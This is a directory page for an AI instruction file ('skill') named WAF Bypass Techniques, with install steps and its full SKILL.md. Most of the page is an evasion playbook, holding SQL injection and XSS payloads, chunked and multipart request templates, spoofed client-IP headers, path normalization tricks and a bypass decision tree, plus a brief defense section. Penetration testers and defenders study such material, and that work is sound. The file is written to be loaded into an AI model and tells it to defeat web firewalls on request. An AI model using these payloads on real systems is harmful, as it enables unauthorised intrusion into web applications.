Waf Bypass Techniques logo

Waf Bypass Techniques

OrganizationPopular
yaklang
waf-bypass-techniques

WAF bypass methodology and generic evasion techniques. Use when a web application firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namewaf-bypass-techniques
Stars
2.3K
Forks
314
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Waf Bypass Techniques AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/yaklang/hack-skills/tree/main/skills/waf-bypass-techniques
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/waf-bypass-techniques .claude/skills/waf-bypass-techniques
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Waf Bypass Techniques in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Waf Bypass Techniques on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Waf Bypass Techniques is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: WAF Bypass Techniques — Evasion Playbook

AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.

0. RELATED ROUTING

  • sqli-sql-injection for payloads to deliver after bypassing WAF
  • xss-cross-site-scripting for XSS payloads that need WAF evasion
  • request-smuggling when smuggling can route requests around WAF entirely
  • http-parameter-pollution HPP is itself a WAF bypass primitive
  • csp-bypass-advanced when WAF blocks inline scripts but CSP bypass is available
  • ghost-bits-cast-attack Java backends only — when every encoding trick above is blocked, use Ghost Bits: Java's 16-bit char to 8-bit byte narrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and more

Product-Specific Reference

Load WAF_PRODUCT_MATRIX.md when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.


1. PHASE 0 — IDENTIFY THE WAF

Before bypassing, know what you're fighting.

1.1 Tools

ToolUsage
wafw00f target.comFingerprint WAF vendor from response headers/behavior
nmap --script=http-waf-detectNSE script for WAF detection
Manual header inspectionServer, X-CDN, X-Cache, cf-ray (Cloudflare), x-sucuri-id, x-akamai-*

1.2 Behavioral Fingerprinting

1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)

2. GENERIC BYPASS CATEGORIES

2.1 Encoding Bypasses

TechniqueExampleBypasses
URL encoding%3Cscript%3EBasic string matching
Double URL encoding%253Cscript%253EWAFs that decode once, app decodes twice
Unicode encoding%u003Cscript%u003EIIS-specific Unicode normalization
HTML entities&#60;script&#62; or &#x3c;script&#x3e;WAFs not performing HTML entity decoding
Hex encoding (SQL)0x756E696F6E = unionWAFs matching SQL keywords
Octal encoding\74script\76Rare but some parsers handle it
Overlong UTF-8%C0%BC (invalid encoding for <)Legacy parsers with loose UTF-8 handling
Mixed caseSeLeCt, uNiOnCase-sensitive rule matching
Null bytesel%00ectWAFs that stop parsing at null

2.2 Chunked Transfer Encoding

Split the payload across HTTP chunks so no single chunk contains the blocked pattern:

http
POST /search HTTP/1.1
Transfer-Encoding: chunked

3
sel
3
ect
1
 
4
from
0

WAFs that inspect the full body may not reassemble chunks before matching.

2.3 HTTP/2 Binary Format Bypasses

HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:

  • Header names can contain characters illegal in HTTP/1.1
  • Pseudo-headers (:method, :path) bypass header-based WAF rules
  • H2 → H1 downgrade may introduce request smuggling (see request-smuggling)

2.4 HTTP Parameter Pollution (HPP)

Different servers handle duplicate parameters differently:

ServerBehavior for ?a=1&a=2
PHP/ApacheLast value: a=2
ASP.NET/IISConcatenated: a=1,2
Python/FlaskFirst value: a=1
Node.js/ExpressArray: a=[1,2]

WAF checks a=1 (benign), app uses a=2 (malicious). Or combine: a=sel&a=ect → ASP.NET sees a=sel,ect.

2.5 IP Source Spoofing (Bypass IP-Based Rules)

Headers trusted by some WAFs/apps for client IP:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

Use case: WAF whitelists internal IPs or has different rule sets per source.

2.6 Path Normalization Tricks

TechniqueExampleEffect
Dot segments/./admin or /../target/adminWAF sees different path than app
Double slash//adminSome normalizers collapse, WAFs may not
URL encoding path/%61dminWAF sees encoded, app decodes
Null byte in path/admin%00.jpgLegacy: app truncates at null, WAF sees .jpg
Backslash (IIS)/admin\..\/secretIIS treats \ as /
Trailing dot/space/admin. or /admin%20OS-level normalization (Windows)
Semicolon (Tomcat)/admin;jsessionid=xTomcat strips after ;, WAF may not

2.7 Content-Type Manipulation

WAFs often have format-specific parsers. Switching Content-Type can bypass rules:

Default:  Content-Type: application/x-www-form-urlencoded  → WAF parses params
Switch:   Content-Type: application/json  → WAF may not parse JSON body
Switch:   Content-Type: multipart/form-data  → WAF may not inspect all parts
Switch:   Content-Type: text/xml  → WAF expects XML, payload in different format

Trick: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.

2.8 Multipart Boundary Abuse

http
Content-Type: multipart/form-data; boundary=----WAFBypass

------WAFBypass
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WAFBypass--

Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.

2.9 Newline & Whitespace Injection

sql
-- SQL keyword splitting
SEL
ECT * FROM users

-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3

-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers

2.10 Keyword Splitting & Alternative Syntax

BlockedAlternative
UNION SELECTUNION ALL SELECT, UNION DISTINCT SELECT
OR 1=1OR 2>1, OR 'a'='a', `
<script><svg/onload=alert(1)>, <img src=x onerror=alert(1)>
alert(1)prompt(1), confirm(1), print() (Chrome)
eval()Function('code')(), setTimeout('code',0)
' OR '1'='1' OR 1-- -, '||'1
SLEEP(5)BENCHMARK(5000000,SHA1('x')), pg_sleep(5)

3. PROTOCOL-LEVEL BYPASS TECHNIQUES

3.1 Request Line Abuse

http
GET /path?q=attack HTTP/1.1    ← WAF inspects

vs.

http
GET http://target.com/path?q=attack HTTP/1.1   ← Absolute URI: some WAFs miss the path

3.2 Header Injection via CRLF

If WAF inspects original headers but app processes injected ones:

X-Custom: value\r\nX-Forwarded-For: 127.0.0.1

3.3 Connection-State Bypass

1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection

4. WAF BYPASS DECISION TREE

Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│   ├── URL encode payload → still blocked?
│   ├── Double URL encode → still blocked?
│   ├── Unicode/overlong UTF-8 → still blocked?
│   ├── Mixed case keywords → still blocked?
│   └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│   ├── Switch Content-Type (JSON, multipart, XML)
│   │   └── App accepts alternate format? → re-send payload
│   ├── HTTP Parameter Pollution (duplicate params)
│   ├── Chunked Transfer-Encoding to split payload
│   ├── HTTP/2 direct if available (binary framing bypass)
│   └── Request line: absolute URI format
│
├── Try path-based bypasses
│   ├── Path normalization (/./path, //path, ;param)
│   ├── Different HTTP method (POST vs PUT vs PATCH)
│   └── Alternate endpoint serving same function
│
├── Try payload mutation
│   ├── SQL: comments (/**/), alternative functions, hex literals
│   ├── XSS: alternative tags/events, JS template literals
│   ├── RCE: wildcard abuse, string concatenation, variable expansion
│   └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
│
├── Try IP-source bypass
│   ├── X-Forwarded-For / True-Client-IP spoofing
│   ├── Access origin server directly (bypass CDN)
│   └── Find origin IP (Shodan, historical DNS, email headers)
│
└── Try request smuggling to skip WAF entirely
    └── See ../request-smuggling/SKILL.md

5. COMMON MISTAKES & TRICK NOTES

  1. Test bypass with actual exploitation, not just 200 OK: WAF may return 200 but strip the payload silently.
  2. WAFs often have size limits: Very large request bodies (>8KB–128KB depending on WAF) may bypass inspection entirely.
  3. Rate limiting ≠ WAF: Getting 429s is rate limiting, not payload blocking. Different bypass needed.
  4. CDN caching: If the WAF is at CDN level, cached responses bypass WAF on subsequent requests. Poison cache with clean request, exploit cache.
  5. Origin server direct access: If you find the origin IP behind CDN/WAF, connect directly — WAF is bypassed completely.
  6. Multipart file upload fields: WAFs often skip inspection of file content in multipart uploads — embed payload in filename or file content if reflected.

6. DEFENSE PERSPECTIVE

MeasureNotes
WAF + application-level input validationWAF is a layer, not a fix
Parameterized queriesEliminates SQLi regardless of WAF
CSP + output encodingEliminates XSS regardless of WAF
Regularly update WAF rulesVendor signatures lag behind new bypasses
Deny by default, not block-listAllowlist valid input patterns
Log and alert on WAF blocksBypass attempts are visible in logs

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Waf Bypass Techniques AI skill do?

WAF bypass methodology and generic evasion techniques. Use when a web application firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.

Why use Waf Bypass Techniques on TypingMind?

Because you install it once and use it with any model. Waf Bypass Techniques is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Waf Bypass Techniques in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/waf-bypass-techniques. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Waf Bypass Techniques?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Waf Bypass Techniques?

As many as you like. As long as a model supports skills, you can use Waf Bypass Techniques with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Waf Bypass Techniques AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇